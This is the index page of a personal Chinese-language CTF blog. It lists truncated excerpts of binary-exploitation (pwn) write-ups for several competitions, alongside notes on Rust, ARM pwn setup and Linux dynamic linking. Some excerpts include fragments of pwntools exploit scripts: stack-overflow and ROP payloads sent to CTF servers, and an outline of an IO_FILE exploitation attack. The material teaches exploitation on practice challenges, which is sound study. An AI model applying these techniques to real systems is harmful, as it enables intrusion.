HackPluto's Blog

HackPluto's Blog

it's better to burn out than to fade away

GKCTF2020 pwn
Domo1.在IO_stdout中(泄露stack_addr) 2.更改_IO_write_base为environ里初始地址 3.更改_IO_write_ptr为environ+8 4.在IO_stdin中(stack中写入rop) 5.更改_IO_buf_base 为返回地址 6.更改_IO_buf_end 为要写入的末地址 查看保护123456[*] '/home/lhh/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/domo' Arch: amd64-64-little RELRO: Full RELRO Stack: Canar...
Rust学习笔记
最近了解到一个新的语言,Rust,据说这个语言很安全并且效率很高堪称系统级,所以就学习下这个语言,看看这个语言有哪些安全性问题。 环境配置我的环境是基于macOS以及vscode,配置可以调试的rust环境我参考的链接是这个 https://blog.cyplo.net/posts/2017/11/rust-vscode-mac/中文的教程真的坑,我真的醉了,一个抄一个,不配置VScode环境变量就开始调试。。。。。配置好后,就可以按F5调试 https://cr0wn.uk/2019/writeup-gctf19quals-sandstone/https://ctftime.org/w...
CTFshow WriteUp
pwn-签到123456789101112131415from pwn import *from LibcSearcher import *context.log_level = "debug"context.arch = "amd64"#p = process("./pwn")p = remote("124.156.121.112",28056)elf = ELF("./pwn")pop = 0x00000000004006d3sh = 0x0000000000601040pay = "a"*0x20 + p64(0) + p64(pop) + p64(sh) + p64(elf.pl...
NPUCTF2020 pwn WriteUp
内核题是之前从来没有遇到过的。。。一直卡着,最后只出了3个pwn,现在趁着网上的WP好好学学这两个内核题 format_level21234567$ checksec npuctf_2020_level2 [*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/npuctf_2020_level2' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabl...
ARM pwn入门
ARM PWN环境搭建(基于Ubuntu18.04) 安装 git,gdb 和 gdb-multiarch 12$ sudo apt-get update$ sudo apt-get install git gdb gdb-multiarch 安装qemu 12$ sudo apt-get install qemu-user$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386 安装共享库 123sudo apt install libc6-arm64-crosssudo apt install libc6-armel...
2020 i-春秋 虎符杯 pwn 题解writeup
上个周末打了两场比赛,记录下虎符杯和西工大校赛的pwn题解,这篇用来记录虎符杯的虎符杯的pwn最后出了两个题 count这个题是最简单的一个,一个ARM pwn的入门漏洞点在这个函数123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960__int64 sub_400990(){ unsigned int v0; // w0 __int64 v1; // x0 __int64 v2; // x0 __int...
Linux下动态链接完整流程分析
Linux下动态链接分析在CTF PWN中对于Linux底层的考察是很多的,而应用程序如何进行动态链接对于新手来说算是一个小考验,本篇文章主要记录Linux下动态链接的过程以及CTF中关于动态链接的注意点,还有Glibc版本不兼容的坑 内核加载ELF我们都知道应用程序要从C语言代码变成机器可以直接执行的代码要经过编译链接的步骤。在链接中有两种方式,一种是静态链接,一种是动态链接。 1.静态链接指的就是程序在链接的过程中,将需要用到的库文件的二进制代码拷贝到程序二进制文件的映像中。 2.动态链接指的就是程序在链接的时候并不把库函数链接进程序的映像而是将库函数的映像一起交给用户,用户在运行...
pwnable.kr WriteUp
在网上发现了一个pwn的题库,页面非常的可爱,所以就做了下,在这里记录下做题的过程。题目网址是:http://pwnable.kr/play.php页面是不是非常可爱 Toddler’s Bottlefd首先是第一题,和文件描述符有关 文件描述符Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件,所有执行I/O操作的系统调用都会通过文件描述符。 特点 每个文件描述符会与一个打开的文件相对应 不同的文件描述符也可能指向同一个文件 相同的文件可以被不同的进程打开...
HITCON-Training-Writeup
HITCON-Training-Writeup最近在学习PWN,学习完了知识点,就找了一些题库来练习,HITCON-Training是一个对新手十分友好的题库,题目基本涵盖了ctf pwn中的所有常见知识点。 题目链接 在我学习的过程中也参考了网上的一些教程,但是网上的很多东西写的云龙混杂,EXP教程执行出来都是错的也有一些代码写的很冗杂,所以我就想自己写一篇教程。这个WP的所有代码都是我运行之后无误的,所以可参考的价值比较高。 lab1-sysmagic我们发现flag的输出和输入并没有关系,而且输入分检测只有if一个判断,使用IDA修改指令即可。修改JNZ的机器码为74,即可修改为J...
BUUCTF刷题记录
1.test_your_nc直接使用nc命令即可,本来还以为会有欢迎页面什么的,结果就是黑屏直接输入命令 2.rip简单的栈溢出12345678from pwn import *p = process('./pwn1')#p = remote("node3.buuoj.cn",27060)payload = "a"*15+"BBBBBBBB"+p64(0x040118a)p.sendline(payload)p.interactive() 3.warmup_csaw_2016简单的栈溢出,将返回地址改成上面这个函数就行12345678from pwn import *sh = proce...
avatar
HackPluto
witness me
FRIENDS
friendA friendB